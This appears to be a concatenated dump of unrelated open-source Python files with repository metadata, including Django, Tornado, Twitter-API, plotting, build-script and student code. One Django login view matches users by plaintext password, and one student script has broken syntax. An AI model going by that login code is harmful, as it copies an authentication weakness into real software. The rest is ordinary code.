elif n == 1: tid = 'Ft%s.%s' % (cid+1,tid+1) else: tid = 'Et%s.%s' % (cid+1,tid+1) name = t.id().split('.')[-1] doc = t.shortDescription() or "" # desc = doc and ('%s: %s' % (name, doc)) or name desc = '用例名称：'+ case_name tmpl = has_output and self.REPORT_TEST_WITH_OUTPUT_TMPL or self.REPORT_TEST_NO_OUTPUT_TMPL # o and e should be byte string because they are collected from stdout and stderr? if isinstance(o,str): # TODO: some problem with 'string_escape': it escape \n and mess up formating # uo = unicode(o.encode('string_escape')) uo = e else: uo = o if isinstance(e,str): # TODO: some problem with 'string_escape': it escape \n and mess up formating # ue = unicode(e.encode('string_escape')) ue = e else: ue = e output = saxutils.escape(uo+ue) # print (output) unum = str(output).find('screenshot') # print (unum) if (unum!=-1): hidde_status = '' unum=str(output).find('screenshot') image_url = '../screenshot/'+str(output)[unum+11:unum+36].replace(' ','') loseeffect = '' else: hidde_status = '' image_url = 'javascript:void(0)' loseeffect = 'loseeffect' script_out = self.REPORT_TEST_OUTPUT_TMPL % dict( id = tid, output = saxutils.escape(uo+ue), ) script_info = self.CASEINFO_OUTPUT_TMPL % dict( caseinfo = caseinfo.get(desc,'No Case Detail'), ) row = tmpl % dict( tid = tid, Class = (n == 0 and 'hiddenRow' or 'none'), style = (n == 2 and 'errorCase') or (n == 1 and 'failCase') or (n == 0 and 'passCase'), desc = desc, status = self.STATUS[n], script_out = script_out, script_info = script_info, image_url = image_url, hidde = hidde_status, loseeffect = loseeffect, ) rows.append(row) if not has_output: return def _generate_ending(self): return self.ENDING_TMPL def _generate_chart(self, result): report = self.CHART_TMPL % dict( Pass = str(result.success_count), fail = str(result.failure_count), error = str(result.error_count), ) return report ############################################################################## # Facilities for running tests from the command line ############################################################################## # Note: Reuse unittest.TestProgram to launch test. In the future we may # build our own launcher to support more specific command line # parameters like test title, CSS, etc. class TestProgram(unittest.TestProgram): """ A variation of the unittest.TestProgram. Please refer to the base class for command line parameters. """ def runTests(self): # Pick HTMLTestRunner as the default test runner. # base class's testRunner parameter is not useful because it means # we have to instantiate HTMLTestRunner before we know self.verbosity. if self.testRunner is None: self.testRunner = HTMLTestRunner(verbosity=self.verbosity) unittest.TestProgram.runTests(self) main = TestProgram ############################################################################## # Executing this module from the command line ############################################################################## if __name__ == "__main__": main(module=None)

[ "yubei874721995@163.com" ]

yubei874721995@163.com

aa3ef4db85fa713e0d251d91dd3b3f9531a3aae6

022d9bb131d5005a262b164bbc10dc0946f6cd3d

/com/migrations/0011_auto_20161130_1850.py

ca79ffb58b8a6b1da97af1b6451292cc57a197dd

[]

no_license

zoucongchao/python-django-community-web-

1a4a6ece3f239e0caad0c5ed27c3b5aba6876fbc

d4cc1f36d1da8ff11ce464c156b0d7dd91bdfc6c

refs/heads/master

2020-04-29T16:52:09.585386

2017-03-03T06:26:46

null

0

null

UTF-8

Python

false

1,387

py

# -*- coding: utf-8 -*- # Generated by Django 1.10.1 on 2016-11-30 10:50 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('com', '0010_userprofile_collected_num'), ] operations = [ migrations.CreateModel( name='Keep', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_on', models.DateTimeField(auto_now_add=True)), ('question', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='com.Question')), ('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.RenameField( model_name='userprofile', old_name='collected_num', new_name='keep_num', ), migrations.RemoveField( model_name='userprofile', name='collected', ), migrations.AddField( model_name='userprofile', name='keep', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='com.Keep'), ), ]

[ "964333698@qq.com" ]

964333698@qq.com

b2d861725cf2e826e44c3c5894bafdcdc3b2cdae

40f61f3e48fa3d433d1b74678b903aad2ba60e20

/hellojerry.py

514fcc6921f2a79692bf2c41944e2c4befc8dbe6

[]

no_license

dian5wenjie/Jerry

e4a122f345834953d99702fd2fe6296d1637fc99

b587d4414f4061bbfd1019d7c407ff495e04406a

refs/heads/master

2016-09-06T07:46:36.923474

2013-03-17T11:14:58

null

0

null

UTF-8

Python

false

1,992

py

#coding=utf8 #!/usr/bin/env python # # Copyright 2009 Facebook # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import tornado.httpserver import tornado.ioloop import tornado.options import tornado.web from tornado.options import define, options define("port", default=8888, help="run on the given port", type=int) class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument("jerry", "") comment = { "id": 1, "user": "qiu", "team": "jerry", "content": "only Test" } if not name : self.write("Welcome to Jerry!\n") self.write("欢迎来到Jerry!") else : self.write(tornado.escape.json_encode(comment)) class JerryHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument("id", "") user = {} if not name : self.write("Hello jerry!\n") self.write("你好Jerry!") else : print "id : %s" % (name) user[name] = "Jerry路虎" self.write(tornado.escape.json_encode(user)) def main(): tornado.options.parse_command_line() application = tornado.web.Application([ (r"/", MainHandler), (r"/jerry", JerryHandler), ]) http_server = tornado.httpserver.HTTPServer(application) http_server.listen(options.port) tornado.ioloop.IOLoop.instance().start() if __name__ == "__main__": main()

[ "cuiqiu.bupt@gmail.com" ]

cuiqiu.bupt@gmail.com

a38b568d0c7e11c9ab268ee40328f38346010772

845c3319cdbf5d3a27a65c55e37a654045ece8e5

/custom_django_auth_backend/backend.py

9b8e22712a3c3f7e914f55e3f088b7496692c2f9

[ "MIT" ]

permissive

Chiorufarewerin/custom-django-auth-backend

5dc116f05e4682ac73897012ee3a96fc609b1fad

89aa2330933472f8cfb13ad3c488d4347b6db128

refs/heads/master

2021-05-17T16:36:53.342928

2020-04-23T09:38:31

250,875,466

0

null

UTF-8

Python

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3,409

py

from typing import Optional, Type from django.forms import ValidationError from .dto import UserDTO from .exceptions import UnavailbleException, AuthException, WrongUserPasswordException, BlockedUserException from .settings import DEFAULT_USERNAME_PREFIX from .logging import logger class BasicAuthBackend: # хранить ли пользовательские пароли в случае недоступности сервиса STORE_PASSWORDS = True USERNAME_PREFIX = DEFAULT_USERNAME_PREFIX def get_user_by_login(self, username: str, password: str) -> UserDTO: """Тут должна быть логика получения пользователя""" raise NotImplementedError def get_user_model(self) -> Type: try: from django.contrib.auth.models import User return User except Exception: logger.exception('Не удалось импортировать модель User') raise def get_user(self, user_id: int): return self.get_user_model().objects.filter(pk=user_id).first() or None def get_prefixed_username(self, username: str) -> str: return f'{self.USERNAME_PREFIX}{username}' def get_user_by_login_exists(self, username: str, password: str): if not self.STORE_PASSWORDS: return None user = self.get_user_model().objects.filter(username=self.get_prefixed_username(username)).first() if not user: return None if user.check_password(password): return user return None def get_and_update_user(self, username: str, password: str, user_dto: UserDTO): user, _ = self.get_user_model().objects.update_or_create(username=self.get_prefixed_username(username), defaults=user_dto.params) if not self.STORE_PASSWORDS: return user if not user.check_password(password): user.set_password(password) user.save() return user def delete_password_user_if_exists(self, username: str): self.get_user_model().objects.filter( username=self.get_prefixed_username(username) ).update(password='') def set_inactive_user_if_exists(self, username: str): self.get_user_model().objects.filter( username=self.get_prefixed_username(username) ).update(is_active=False) def authenticate(self, request, username: str, password: str) -> Optional['User']: if username is None or password is None: return None try: user_dto = self.get_user_by_login(username, password) except UnavailbleException: return self.get_user_by_login_exists(username, password) except WrongUserPasswordException: self.delete_password_user_if_exists(username) return None except BlockedUserException as e: self.delete_password_user_if_exists(username) self.set_inactive_user_if_exists(username) raise ValidationError(e.readable_error) except AuthException: return None except Exception: logger.exception('Ошибка получения пользователя') return None return self.get_and_update_user(username, password, user_dto)

[ "artur1998g@gmail.com" ]

artur1998g@gmail.com

5c14efc0e0b3c9c4b1040c89d95fd5e415c20404

872d8a57f0766dc34b23e1424cd7e6f7510c86e6

/hack_api/views.py

84242a04540aba76e7976f61e3a150af4182c6d1

[]

no_license

ImAmanTanwar/egv-hackathon-project

03e26b24ab1d1809bddcd47ad4f60a7410809ef2

c115149ceee207230f103ecf8762c8b90e92268b

refs/heads/master

2021-08-31T01:56:50.124360

2017-12-16T15:36:55

114,392,102

0

null

UTF-8

Python

false

5,963

py

from django.shortcuts import render from rest_framework import status from rest_framework.decorators import api_view from django.views.decorators.csrf import csrf_exempt from rest_framework.response import Response import datetime,traceback from hackproject.models import Categories,SubCategories,Complains import json,requests import oauth2 import os # Create your views here. @api_view(['POST']) def send(request): twitter_auth_token_key = os.environ['CLIENT_TWITTER_TOKEN_KEY'] twitter_auth_token_secret = os.environ['CLIENT_TWITTER_TOKEN_SECRET'] tweet = request.data['tweet_text'] user_id = request.data['user_id'] hashtags = request.data['hashtags'] user_name = request.data['user_name'] handle = request.data['handle'] cat=check(hashtags) print cat category = Categories.objects.get(c_id=str(cat)) categories = SubCategories.objects.filter(group_id=category) post_body="text=Select from below codes"+"\n" for c in categories: print c.service_name post_body+=c.service_name+" - "+c.service_code+"\n" post_body+="Please reply as <Phone Number>:<Status Code>:<Address>;screen_name="+handle try: lat=str(request.data['user_lat']) except: lat="" try: lon = str(request.data['user_lon']) except: lon="" obj = Complains(tweet=tweet,user_id=user_id,user_name=user_name,lat=lat,lon=lon) obj.save() #post_body = "status=@"+data["handle"]+" Please reply with your phone and email in Direct Message;in_reply_to_status_id="+data["tweet_id"] home_timeline = oauth_req( 'https://api.twitter.com/1.1/direct_messages/new.json', twitter_auth_token_key, twitter_auth_token_secret,post_body) post_body="user_id="+user_id+";follow=true" home_timeline = oauth_req( 'https://api.twitter.com/1.1/friendships/create.json', twitter_auth_token_key, twitter_auth_token_secret,post_body ) print post_body return Response('{"status":"ok"}',status=status.HTTP_201_CREATED) @api_view(['POST']) def view(request): user_id = request.data["user_id"] message = request.data["message"] if "status" in message: code,srn_status=message.split() stat = get_srn_status(srn_status) post_body="user_id="+user_id+";text=Your Status is REGISTERED" home_timeline = oauth_req( 'https://api.twitter.com/1.1/direct_messages/new.json', twitter_auth_token_key, twitter_auth_token_secret,post_body) else: if ":" in message: phone, service_code,address = message.split(":") else: phone="0000000000" service_code="DEFAULT" address="Bangalore" print phone,service_code user = Complains.objects.filter(user_id=user_id,mobile_no="",service_code="") service_name=SubCategories.objects.get(service_code=service_code).service_name srn_num="" for u in user: u.mobile_no = phone u.service_code = service_code u.save() srn_num = getsrn(service_code,service_name,u.lat,u.lon,address,u.user_name,phone,u.tweet) print srn_num post_body="text=Complaint Registered successfully. SRN Number: "+srn_num+";user_id="+user_id home_timeline = oauth_req( 'https://api.twitter.com/1.1/direct_messages/new.json', twitter_auth_token_key, twitter_auth_token_secret,post_body) with open("srn.txt", "a") as myfile: myfile.write(srn_num+"\n") return Response('{"status":"ok"}',status=status.HTTP_201_CREATED) def oauth_req(url, key, secret, post_body, http_method="POST", http_headers=None): twitter_key = os.environ['TWITTER_KEY'] twitter_secret = os.environ['TWITTER_SECRET'] consumer = oauth2.Consumer(key=twitter_key, secret=twitter_secret) token = oauth2.Token(key=key, secret=secret) client = oauth2.Client(consumer, token) resp, content = client.request( url, method=http_method, body=post_body, headers=http_headers ) return content def check(st): a=['default','streetlight','engineering','health','administration','townplanning','revenue','watersupply'] for i,j in enumerate(a): if j==st.lower(): return i+1; def getsrn(service_code,service_name,lat,lon,address,name,phone,tweet): print service_code+" "+service_name+" "+lat+" "+lon+" "+address+" "+name+" "+phone url=os.environ["EG_API_URL"]+"?jurisdiction_id=default" headers={"Content-Type":"application/json"} data={ "RequestInfo":{ "api_id":"org.egov.pgr", "ver":"1.0", "ts":"21-04-2017 15:55:37", "action":"POST", "did":"4354648646", "key":"xyz", "msg_id":"654654", "requester_id":"61", "auth_token":None }, "ServiceRequest":{ "service_code":service_code, "description":tweet, "address_id":"258", "lat":lat, "lng":lon, "address":"Near Central area", "service_request_id":"", "first_name":name, "phone":phone, "email":"kumar@ccc.com", "status":True, "service_name":service_name, "requested_datetime":"", "media_url":"", "tenantId":"default", "values":{ "receivingMode":"Website", "receivingCenter":"", "status":"REGISTERED", "complainantAddress":"Near central bus stop" } } } r = requests.post(url,data=json.dumps(data),headers=headers) print r return r.json()["service_requests"][0]["service_request_id"] def get_srn_status(srn_num): url = os.environ["EG_API_URL"] params={"jurisdiction_id":"2", "service_request_id":srn_num } headers={ "api_id":"org.egov.pgr", "ver":"1.0", "ts":"28-03-2016 10:22:33", "action":"GET", "did":"4354648646", "msg_id":"03447364-19c8-4ad0-a59d-ab2a385b19d5", "requester_id":"61", "auth_token":"null" } r=requests.get(url,headers=headers,params=params) print r.json()

[ "amantanwar1994@gmail.com" ]

amantanwar1994@gmail.com

47466b53530a7e9c3f7c8c4065f831ce72d30c20

12abe02e205d3e8dabe78fb5a93ccca89e2c42c4

/tools/prepare_client.py

6e73dd03164c3faee99d8c53e13fe17142da37b8

[]

no_license

nate97/toontown-src-py3.0

55092b2973b76e6b6d566887f44c52822684394c

f76c515801ae08c40b264b48365211fd44b137eb

refs/heads/master

2022-07-07T05:23:22.071185

2022-06-22T16:36:10

187,682,471

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py

#!/usr/bin/env python2 import argparse import hashlib import os from panda3d.core import * import shutil parser = argparse.ArgumentParser() parser.add_argument('--distribution', default='en', help='The distribution string.') parser.add_argument('--build-dir', default='build', help='The directory in which to store the build files.') parser.add_argument('--src-dir', default='..', help='The directory of the Toontown Infinite source code.') parser.add_argument('--server-ver', default='toontown-dev', help='The server version of this build.') parser.add_argument('--build-mfs', action='store_true', help='When present, the resource multifiles will be built.') parser.add_argument('--resources-dir', default='../resources', help='The directory of the Toontown Infinite resources.') parser.add_argument('--config-dir', default='../config/release', help='The directory of the Toontown Infinite configuration files.') parser.add_argument('--include', '-i', action='append', help='Explicitly include this file in the build.') parser.add_argument('--exclude', '-x', action='append', help='Explicitly exclude this file from the build.') parser.add_argument('--vfs', action='append', help='Add this file to the virtual file system at runtime.') parser.add_argument('modules', nargs='*', default=['otp', 'toontown'], help='The Toontown Infinite modules to be included in the build.') args = parser.parse_args() print('Preparing the client...') # Create a clean directory to store the build files in: if os.path.exists(args.build_dir): shutil.rmtree(args.build_dir) os.mkdir(args.build_dir) print('Build directory = ' + args.build_dir) # Copy the provided Toontown Infinite modules: def minify(f): """ Returns the "minified" file data with removed __debug__ code blocks. """ data = '' debugBlock = False # Marks when we're in a __debug__ code block. elseBlock = False # Marks when we're in an else code block. # The number of spaces in which the __debug__ condition is indented: indentLevel = 0 for line in f: thisIndentLevel = len(line) - len(line.lstrip()) if ('if __debug__:' not in line) and (not debugBlock): data += line continue elif 'if __debug__:' in line: debugBlock = True indentLevel = thisIndentLevel continue if thisIndentLevel <= indentLevel: if 'else' in line: elseBlock = True continue if 'elif' in line: line = line[:thisIndentLevel] + line[thisIndentLevel+2:] data += line debugBlock = False elseBlock = False indentLevel = 0 continue if elseBlock: data += line[4:] return data for module in args.modules: print('Writing module...', module) for root, folders, files in os.walk(os.path.join(args.src_dir, module)): outputDir = root.replace(args.src_dir, args.build_dir) if not os.path.exists(outputDir): os.mkdir(outputDir) for filename in files: if filename not in args.include: if not filename.endswith('.py'): continue if filename.endswith('UD.py'): continue if filename.endswith('AI.py'): continue if filename in args.exclude: continue with open(os.path.join(root, filename), 'r') as f: data = minify(f) with open(os.path.join(outputDir, filename), 'w') as f: f.write(data) # Let's write game_data.py now. game_data.py is a compile-time generated # collection of data that will be used by the game at runtime. It contains the # PRC file data, and (stripped) DC file: # First, we need to add the configuration pages: configData = [] with open('../config/general.prc') as f: configData.append(f.read()) configFileName = args.distribution + '.prc' configFilePath = os.path.join(args.config_dir, configFileName) print('Using configuration file: ' + configFilePath) with open(configFilePath) as f: data = f.readlines() # Replace server-version definitions with the desired server version: for i, line in enumerate(data): if 'server-version' in line: data[i] = 'server-version ' + args.server_ver # Add our virtual file system data: data.append('\n# Virtual file system...\nmodel-path /\n') for filepath in args.vfs: data.append('vfs-mount %s /\n' % filepath) configData.append('\n'.join(data)) # Next, we need the DC file: dcData = '' filepath = os.path.join(args.src_dir, 'astron/dclass') for filename in os.listdir(filepath): if filename.endswith('.dc'): fullpath = str(Filename.fromOsSpecific(os.path.join(filepath, filename))) print('Reading %s...' % fullpath) with open(fullpath, 'r') as f: data = f.read() for line in data.split('\n'): if 'import' in line: data = data.replace(line + '\n', '') dcData += data # Finally, write our data to game_data.py: print('Writing game_data.py...') gameData = 'CONFIG = %r\nDC = %r\n' with open(os.path.join(args.build_dir, 'game_data.py'), 'wb') as f: f.write(gameData % (configData, dcData.strip())) # We have all of the code gathered together. Let's create the multifiles now: if args.build_mfs: print('Building multifiles...') dest = os.path.join(args.build_dir, 'resources') if not os.path.exists(dest): os.mkdir(dest) dest = os.path.realpath(dest) os.chdir(args.resources_dir) for phase in os.listdir('.'): if not phase.startswith('phase_'): continue if not os.path.isdir(phase): continue filename = phase + '.mf' print('Writing...', filename) filepath = os.path.join(dest, filename) os.system('multify -c -f "%s" "%s"' % (filepath, phase)) print('Done preparing the client.')

[ "nathanielfuhr@gmail.com" ]

nathanielfuhr@gmail.com

77c2182969c900ebd6dd341a5877ea6b0d7bda9c

f2f67ddfca321dd9eb6480cfe4765d3a7d241371

/tarea7Completa.py

a51e5db9f67df0aac54ae11558ad0ab209884f90

[]

no_license

DianaAguilarMtz/Tarea_07

1e1c08b42e8a25a136977b6f0583646f39c24457

f6f74e883f268aad44844230b647b92bb4706a19

refs/heads/master

2021-04-06T01:54:49.987647

2018-03-14T22:54:24

125,282,612

0

null

2018-03-14T22:38:52

null

UTF-8

Python

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2,128

py

# Autor: Diana Aguilar Mtz # Descripcion: #funcion 1: hace divisiones y te muestra el residuo. def probarDivisores(): print(" ") print("Bienvenido al programa de divisores") divisor = int(input("Divisor: ")) dividendo = int(input("Dividendo: ")) resultado = dividendo // divisor #cociente modulo = dividendo % divisor #residuo print(dividendo, "/", divisor, "=", resultado, ", sobra: ", modulo) # funcion 2: te muestra el numero mayor que hayas ingresado, sin saber cuando vas a parar. def determinarMayor(): print(" ") print("Bienvenido al programa que encuentra el mayor") n = int(input("Teclee un número [-1 para salir]: ")) numeroMayor = 0 #valor inicial if n ==-1: #opcion para salir cuando no han metido ningun numero. print("No hay numero mayor") elif n != -1: #opcion para comparar numeros. while n != -1: n = int(input("Teclee un número [-1 para salir]: ")) if n > numeroMayor: numeroMayor = n print("el numero mayor es: ", numeroMayor) def main(): print("""Tarea 7: Ciclos While Autor: Diana Aguilar Mtz. 1: Imprimir divisores 2: Encontrar el mayor 3: Salir """) opcion = int(input("Teclea tu opción: ")) #el ususario decide que desea hacer. while opcion >0: #while principal mostrar menú. if opcion == 1: probarDivisores()# funcion 1. elif opcion == 2: determinarMayor()#funcion 2. elif opcion == 3: #funcion para sair del programa. break else: print("ERROR, teclea 1, 2 o 3") #mensaje que aparece cuando seleccionas un numero mayor a 3. print(""" Tarea 7: Ciclos While Autor: Diana Aguilar Mtz. 1: Imprimir divisores 2: Encontrar el mayor 3: Salir """) opcion = int(input("Teclea tu opción: ")) print(" ") print("Gracias por usar este programa, vuelve pronto") #mensaje de despedida main()

[ "noreply@github.com" ]

DianaAguilarMtz.noreply@github.com

d1433640b2aaccd380003e310321de06c7b8b95c

cec7e0f0f7ada1e662d8bc7221e951f5215d34f8

/django_auth/views.py

30ba2449edb5f1086ced65e36fb5e3d735615f73

[]

no_license

Wanke15/django_auth

d92a2f63da64a3c053780e6efe0e005964d58e0d

5941f5fd3e8f4b6e2b763e1281db814d721c6dc9

refs/heads/main

2023-02-19T00:34:51.199410

2021-01-12T15:39:10

329,030,416

0

null

UTF-8

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false

474

py

from django.shortcuts import render, redirect from search.models import User def login(request): if request.method == "GET": return render(request, 'login.html') if request.method == "POST": username = request.POST.get('username', "") password = request.POST.get('password', "") if User.objects.filter(username=username, password=password): request.session["username"] = username return redirect("/index/")

[ "1015005300@qq.com" ]

1015005300@qq.com

a5a0f83dda23889e95f693472e9a4e3bb2c874a0

79542b110ca0443f6a180f6f906a15f049485962

/django-leaning/ch07/mysite/polls/views.py

f02e8ddc2bfd8445c45a16f104264e517a799592

[]

no_license

devuser/spark-notes

9e1c207f052eed43fae2a436f63a6ac0bad0d83b

4429e08f66fc4dcf7502314995559c1de0d07ec6

refs/heads/master

2021-05-16T03:03:59.665992

2017-09-29T05:31:13

42,443,800

20

2

null

UTF-8

Python

false

2,046

py

from django.shortcuts import get_object_or_404, render from .models import Question from django.http import Http404 from django.http import HttpResponseRedirect, HttpResponse from django.urls import reverse from django.utils import timezone from .models import Choice, Question from django.shortcuts import get_object_or_404, render from django.http import HttpResponseRedirect from django.urls import reverse from django.views import generic from .models import Choice, Question class IndexView(generic.ListView): template_name = 'polls/index.html' context_object_name = 'latest_question_list' def get_queryset(self): """ Return the last five published questions (not including those set to be published in the future). """ return Question.objects.filter( pub_date__lte=timezone.now() ).order_by('-pub_date')[:5] class DetailView(generic.DetailView): model = Question template_name = 'polls/detail.html' def get_queryset(self): """ Excludes any questions that aren't published yet. """ return Question.objects.filter(pub_date__lte=timezone.now()) class ResultsView(generic.DetailView): model = Question template_name = 'polls/results.html' def vote(request, question_id): question = get_object_or_404(Question, pk=question_id) try: selected_choice = question.choice_set.get(pk=request.POST['choice']) except (KeyError, Choice.DoesNotExist): # Redisplay the question voting form. return render(request, 'polls/detail.html', { 'question': question, 'error_message': "You didn't select a choice.", }) else: selected_choice.votes += 1 selected_choice.save() # Always return an HttpResponseRedirect after successfully dealing # with POST data. This prevents data from being posted twice if a # user hits the Back button. return HttpResponseRedirect(reverse('polls:results', args=(question.id,)))

[ "pythoner@icloud.com" ]

pythoner@icloud.com

958cf3f290b54cc90305a031368d936cc73d933f

146bca615b0061501ca7d4c021f592cea4820548

/django/sample/polls/migrations/0002_auto_20170717_0920.py

59ced813683c1b84b2ecc38eae050a94dfb5816c

[ "MIT" ]

permissive

jyodroid/python_training

abb9485bb185f9ddfd663440b94a96a0a57d470a

7b17145faed6a005d44a08c2f72a60644705f1e1

refs/heads/master

2020-06-14T20:28:23.211739

2017-09-14T16:52:36

75,350,329

0

null

UTF-8

Python

false

430

py

# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2017-07-17 14:20 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('polls', '0001_initial'), ] operations = [ migrations.RenameField( model_name='question', old_name='questio_text', new_name='question_text', ), ]

[ "jtangarife@isf.com.co" ]

jtangarife@isf.com.co

97cd0d9b095f822538a9db1a5b6aaa38fceb77f8

a81b4ff2029f9e1ae0a9ff864c78a57622a49779

/allgraphs-russian.py

2f4816e085b139c3f401179ef47156189d2ff060

[]

no_license

EArwa/LVfeederDERsimulation

7b33ecbe0a3ca1db53bde2669088d219d4170821

c04bfbd44071279a4d4f106282a8cde0877faa6f

refs/heads/master

2023-04-18T07:21:02.468933

2021-05-04T18:35:25

null

0

null

UTF-8

Python

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py

import os import pandas as pd import matplotlib.pyplot as plt pv_ev_bat_data = pd.read_csv("data/results/PV_EV_battery/04-graph-data/graph-data.csv", sep=",", decimal=".") pv_bat_data = pd.read_csv("data/results/PV_battery/04-graph-data/graph-data.csv", sep=",", decimal=".") ev_bat_data = pd.read_csv("data/results/EV_battery/04-graph-data/graph-data.csv", sep=",", decimal=".") pv_ev_bat_data.index = pv_ev_bat_data.index.astype(int) pv_ev_bat_data.sort_index() pv_bat_data.index = pv_bat_data.index.astype(int) pv_bat_data.sort_index() ev_bat_data.index = ev_bat_data.index.astype(int) ev_bat_data.sort_index() colors = { 0: 'red', 25: 'blue', 50: 'yellow', 75: 'orange', 100: 'green' } cooperation_labels = { 0: '0% коллективной оптимизации', 25: '25% коллективной оптимизации', 50: '50% коллективной оптимизации', 75: '75% коллективной оптимизации', 100: '100% коллективной оптимизации' } def plot_results(data, ycolumn, xlabel, ylabel, title, filename): fig, ax = plt.subplots() for cooperationPercent in range(0, 101, 25): singleDataFrame = data.loc[data['cooperation_percent'] == cooperationPercent] ax.scatter('installations_percent', ycolumn, data=singleDataFrame, color=colors[cooperationPercent], linewidth=2, label=cooperation_labels[cooperationPercent]) plt.grid() plt.legend(loc="upper left") plt.xlabel(xlabel) plt.ylabel(ylabel) plt.title(title) dir_path = "graphs/scatter-plots/ru" file_path = "{}/{}".format(dir_path, filename) os.makedirs( dir_path, exist_ok=True) plt.savefig(file_path) def main(): plot_results( pv_ev_bat_data, 'voltage_factor', 'Уровень распределенных энергоресурсов [%]', 'Ku', 'Ku, на шине потребителя', 'PV_EV_battery Ku на шине потребителя.png') plot_results(pv_bat_data, 'voltage_factor', 'Уровень распределенных энергоресурсов [%]', 'Ku', 'Ku, на шинах потребителя', 'PV_battery Ku на шине потребителя.png') plot_results(ev_bat_data, 'voltage_factor', 'Уровень распределенных энергоресурсов [%]', 'Ku', 'Ku, на шинах потребителя', 'EV_battery Ku на шине потребителя.png') plot_results( pv_ev_bat_data, 'lv_voltage_factor', 'Уровень распределенных энергоресурсов [%]', 'Ku', 'Ku, на шине НН трансформатора', 'PV_EV_battery Ku на шине НН трансформатора.png') plot_results(pv_bat_data, 'lv_voltage_factor', 'Уровень распределенных энергоресурсов [%]', 'Ku', 'Ku, на шине НН трансформатора', 'PV_battery Ku на шине НН трансформатора.png') plot_results(ev_bat_data, 'lv_voltage_factor', 'Уровень распределенных энергоресурсов [%]', 'Ku', 'Ku, на шине НН трансформатора', 'EV_battery Ku на шине НН трансформатора.png') plot_results( pv_ev_bat_data, 'load_factor', 'Уровень распределенных энергоресурсов [%]', 'Kp', 'Kp, на шине потребителя', 'PV_EV_battery Kp на шине потребителя.png') plot_results(pv_bat_data, 'load_factor', 'Уровень распределенных энергоресурсов [%]', 'Kp', 'Kp, на шине потребителя', 'PV_battery Kp на шине потребителя.png') plot_results(ev_bat_data, 'load_factor', 'Уровень распределенных энергоресурсов [%]', 'Kp', 'Kp, на шине потребителя', 'EV_battery Kp на шине потребителя.png') plot_results( pv_ev_bat_data, 'lv_load_factor', 'Уровень распределенных энергоресурсов [%]', 'Kp', 'Kp, на шине НН трансформатора', 'PV_EV_battery Kp на шине НН трансформатора.png') plot_results(pv_bat_data, 'lv_load_factor', 'Уровень распределенных энергоресурсов [%]', 'Kp', 'Kp, на шине НН трансформатора', 'PV_battery Kp на шине НН трансформатора.png') plot_results(ev_bat_data, 'lv_load_factor', 'Уровень распределенных энергоресурсов [%]', 'Kp', 'Kp, на шине НН трансформатора', 'EV_battery Kp на шине НН трансформатора.png') if __name__ == "__main__": main()

[ "ellina.shurovsk@gmail.com" ]

ellina.shurovsk@gmail.com

961bd3a9c5a9c94b6844fd35f9644acc5f43a6f4

102b692e41a2fe9880244aa29f9369c08f3260ca

/week_lunch.py

db855f008fe8970764593e0a548848b5dc0eb9ef

[]

no_license

Mamata720/if-else

25cf74b71057067df973023dba4f0d70c5b9a89f

1a766a10e00f6303ff8dc7c48b5f386161bd7caa

refs/heads/main

2023-06-19T02:21:57.159225

2021-07-19T18:12:04

386,961,333

0

null

UTF-8

Python

false

789

py

day=input("enter the day") if day=="sunday": print("poha") if day=="munday": print("khichidi") if day=="thusday": print("dal chavl") if day==wedenesday: print("sabji roti") if day=="thursday": print("kheer") if day=="friday": print("poha") if day==seterday: print("edli") else: print("no") else: print("no") else: print("no") else: print("no") else: print("no") else: print("no") else: print("no")

[ "noreply@github.com" ]

Mamata720.noreply@github.com

02b0333d499f2b4da71514ad0918390d9f4ad32c

fb35e41ab2cc3ea65f7cdf72a3ef8b0ed9f19071

/shop/context_processors.py

e5763a344f748ea34e86057e08439fe2ffeb9e4d

[ "MIT" ]

permissive

euanrussano/tinyshop

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refs/heads/master

2023-05-31T08:20:56.006628

2021-06-12T01:11:44

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from django.conf import settings # import the settings file def website_info(request): # return the value you want as a dictionnary. you may add multiple values in there. return { 'WEBSITE_NAME': settings.WEBSITE_NAME, 'PHONE_NUMBER': settings.PHONE_NUMBER, 'EMAIL': settings.EMAIL, 'ADDRESS': settings.ADDRESS, 'FACEBOOK': settings.FACEBOOK, 'LINKEDIN': settings.LINKEDIN, 'TWITTER': settings.TWITTER, 'RSS': settings.RSS, 'PINTEREST': settings.PINTEREST, 'WHATSAPP': settings.WHATSAPP, }

[ "euanrussano@gmail.com" ]

euanrussano@gmail.com

533e268693eea62c5bb3f69ab76a803526a65160

ba5a6f1b6776c3503a4e6f486795ffd62a11810b

/Loja/estoque/serializers.py

6776b5b59e391210ae635f5792ccc069004d7f4b

[]

no_license

AmaroCesa/intmed_test

9e4e78a0dc7eb989b797ca9b5c56d94588d08193

1e59a365298ad33216aad5635b6df3fe98749c7c

refs/heads/master

2021-06-13T06:44:29.943526

2019-05-27T02:08:47

155,141,625

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null

2021-06-10T20:56:24

2018-10-29T02:44:41

JavaScript

UTF-8

Python

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202

py

from rest_framework import serializers from .models import Estoque class EstoqueSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Estoque fields = ('__all__')

[ "amaro.txt@gmail.com" ]

amaro.txt@gmail.com

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/script/Main.py

83dc303b008fba809742a9b21cefb599e2542080

[ "MIT" ]

permissive

iOSToolsOS/json2model

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refs/heads/master

2020-04-15T01:16:10.520583

2019-02-01T03:28:27

164,269,199

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import JsonParser import json with open("jsons.txt","r") as f: result = JsonParser.parse(f.read(), "Result") print(result) with open("ResultModel.swift", "w") as w: w.writelines([line+'\n' for line in result])

[ "shmilyshijian@foxmail.com" ]

shmilyshijian@foxmail.com

4fb49f5467ce56af7e2012a6a1eadbe036caa6e3

